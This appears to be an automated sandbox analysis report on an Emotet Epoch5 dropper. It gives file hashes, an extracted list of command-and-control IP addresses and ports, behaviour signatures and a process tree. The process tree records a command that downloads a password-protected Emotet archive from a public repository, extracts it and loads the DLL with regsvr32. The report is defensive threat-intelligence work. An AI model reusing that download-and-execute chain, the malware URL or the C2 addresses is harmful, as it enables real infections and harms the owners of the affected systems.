Analysis
- max time kernel
145s - max time network
155s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system - submitted
31/05/2024, 07:34
Static task
static1
Behavioral task
behavioral1
Sample
159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe
Resource
win7-20240221-en
General
- Target 159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe
- Size 57KB
- Sample240531-jec2eabc81
- SHA256 159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1
- MD5 ededb3f015ef786127135167bcef4012
- SHA1 1423eca9f232f5bd62f1350359ce20e20115104d
- SHA512 bfb18e621acfb5bbdac525ca8f94a7bca51ceaed03927cccc4cd15f272c87d9f9c00561bb6d53dcbb05d5c3457bb2b7df6c4bdaff95c416f58c3c75ab7ce492e
- SSDEEP 768:cUctn7EWvq3fRzEuu7+1p3hdj6A4Pa6k42SXTqOW7xQ8VORH:qnGfhdhduAia6jer7xQ8Vs
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
-
emotet
-
Epoch5
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178.238.225.252:8080
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139.196.72.155:8080
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36.67.23.59:443
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103.56.149.105:8080
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37.44.244.177:8080
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85.25.120.45:8080
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202.134.4.210:7080
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78.47.204.80:443
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83.229.80.93:8080
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93.104.209.107:8080
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80.211.107.116:8080
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165.22.254.236:8080
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104.244.79.94:443
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185.148.169.10:8080
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190.145.8.4:443
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175.126.176.79:8080
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139.59.80.108:8080
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188.165.79.151:443
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128.199.217.206:443
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64.227.55.231:8080
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218.38.121.17:443
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103.71.99.57:8080
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103.224.241.74:8080
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128.199.242.164:8080
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85.214.67.203:8080
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103.254.12.236:7080
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46.101.98.60:8080
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178.62.112.199:8080
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210.57.209.142:8080
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195.77.239.39:8080
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103.126.216.86:443
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82.98.180.154:7080
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202.28.34.99:8080
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174.138.33.49:7080
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160.16.143.191:8080
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51.75.33.122:443
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103.41.204.169:8080
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186.250.48.5:443
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87.106.97.83:7080
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118.98.72.86:443
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196.44.98.190:8080
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103.85.95.4:8080
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62.171.178.147:8080
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54.37.228.122:443
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114.79.130.68:443
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198.199.70.22:8080
Signatures
- Loads dropped DLL 3 IoCs
pid Process 1804 regsvr32.exe 2428 regsvr32.exe 4352 regsvr32.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 15 raw.githubusercontent.com 19 raw.githubusercontent.com - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2428 regsvr32.exe 2428 regsvr32.exe 4352 regsvr32.exe 4352 regsvr32.exe 4352 regsvr32.exe 4352 regsvr32.exe - Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeRestorePrivilege 4616 7z.exe Token: 35 4616 7z.exe Token: SeSecurityPrivilege 4616 7z.exe Token: SeSecurityPrivilege 4616 7z.exe - Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 4000 wrote to memory of 4624 4000 159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe 92 PID 4000 wrote to memory of 4624 4000 159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe 92 PID 4000 wrote to memory of 4624 4000 159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe 92 PID 4624 wrote to memory of 3616 4624 cmd.exe 93 PID 4624 wrote to memory of 3616 4624 cmd.exe 93 PID 4624 wrote to memory of 3616 4624 cmd.exe 93 PID 4624 wrote to memory of 4616 4624 cmd.exe 94 PID 4624 wrote to memory of 4616 4624 cmd.exe 94 PID 4000 wrote to memory of 436 4000 159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe 95 PID 4000 wrote to memory of 436 4000 159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe 95 PID 4000 wrote to memory of 436 4000 159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe 95 PID 436 wrote to memory of 1804 436 cmd.exe 96 PID 436 wrote to memory of 1804 436 cmd.exe 96 PID 436 wrote to memory of 1804 436 cmd.exe 96 PID 1804 wrote to memory of 2428 1804 regsvr32.exe 97 PID 1804 wrote to memory of 2428 1804 regsvr32.exe 97 PID 2428 wrote to memory of 4352 2428 regsvr32.exe 103 PID 2428 wrote to memory of 4352 2428 regsvr32.exe 103
Processes
-
C:\Users\Admin\AppData\Local\Temp\159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe"C:\Users\Admin\AppData\Local\Temp\159c8fedb002cf211f16f820bf82be9db65662379c7e75fba5f8fc38cd0090e1.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4000 -
C:\Windows\SysWOW64\cmd.execmd /c curl -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip" && "C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"2⤵
- Suspicious use of WriteProcessMemory
PID:4624 -
C:\Windows\SysWOW64\curl.execurl -L -o "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" "https://github.com/Princekin/malware-database/raw/main/Emotet/Emotet%20(Epoch5)%20-%2004.11.2022%20.zip"3⤵PID:3616
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C:\Program Files\7-Zip\7z.exe"C:\Program Files\7-Zip\7z.exe" x "C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip" -p"infected" -o"C:\Users\Admin\AppData\Local\Temp"3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4616
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-
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C:\Windows\SysWOW64\cmd.execmd /c regsvr32.exe "C:\Users\Admin\AppData\Local\Temp\emotet.dll"2⤵
- Suspicious use of WriteProcessMemory
PID:436 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe "C:\Users\Admin\AppData\Local\Temp\emotet.dll"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1804 -
C:\Windows\system32\regsvr32.exe"C:\Users\Admin\AppData\Local\Temp\emotet.dll"4⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Windows\system32\regsvr32.exeC:\Windows\system32\regsvr32.exe "C:\Windows\system32\FAHJEBxB\dLhVekW.dll"5⤵
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
PID:4352
-
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=3868 --field-trial-handle=2272,i,4858140932023865871,5726683989663339295,262144 --variations-seed-version /prefetch:81⤵PID:5076
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\Emotet-Epoch5.zip
- Size 289KB
- SHA256 b0353f4547466a0a402198b3750d928fc7c4e96dd3adc00b181e9d98e4602ea7
- MD5 ebe6bc9eab807cdd910976a341bc070d
- SHA1 1052700b1945bb1754f3cadad669fc4a99f5607b
- SHA512 9a6bfcb90c1e24be1b930990dd2af72e889f71ad7e1a7b8353b6522a625e2ae36013793ee2c159880bd510b8f785ce4c9dfced1d2901d3ca8f091e26084185a8
- SSDEEP 6144:VMIldr7XgxKPucvUix+W6Um6+umFHJdmcCsQ4t7sFvjADzQJWWqWFST:G+LgxOutG56txugXMnYIFbADzoyWUT
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\emotet.dll
- Size 534KB
- SHA256 b4bead39ead2a29de2f0a6fb52eea172cfe25224b71e4a9b1418f55c8b053d59
- MD5 56bb8500d7ab6860760eddd7a55e9456
- SHA1 e9b38c5fb51ce1a038f65c1620115a9bba1e383d
- SHA512 83ceff476d071412b02bab0753bd3c4440937b663397d73349fa90c38d96cf88051b645c781cbe5de281aa3bd45e71da7fcc8c99c2846ce29c2f36c3e1307a84
- SSDEEP 6144:vTKqTS2X5Bc1p7PIvaf66pPfTISFikbOM5pxH/z3SJnzo+28tz3+TThF4Sr:vucOk6pPAkbnjBzazwk3+vh
- MD5 SHA1 SHA512 SSDEEP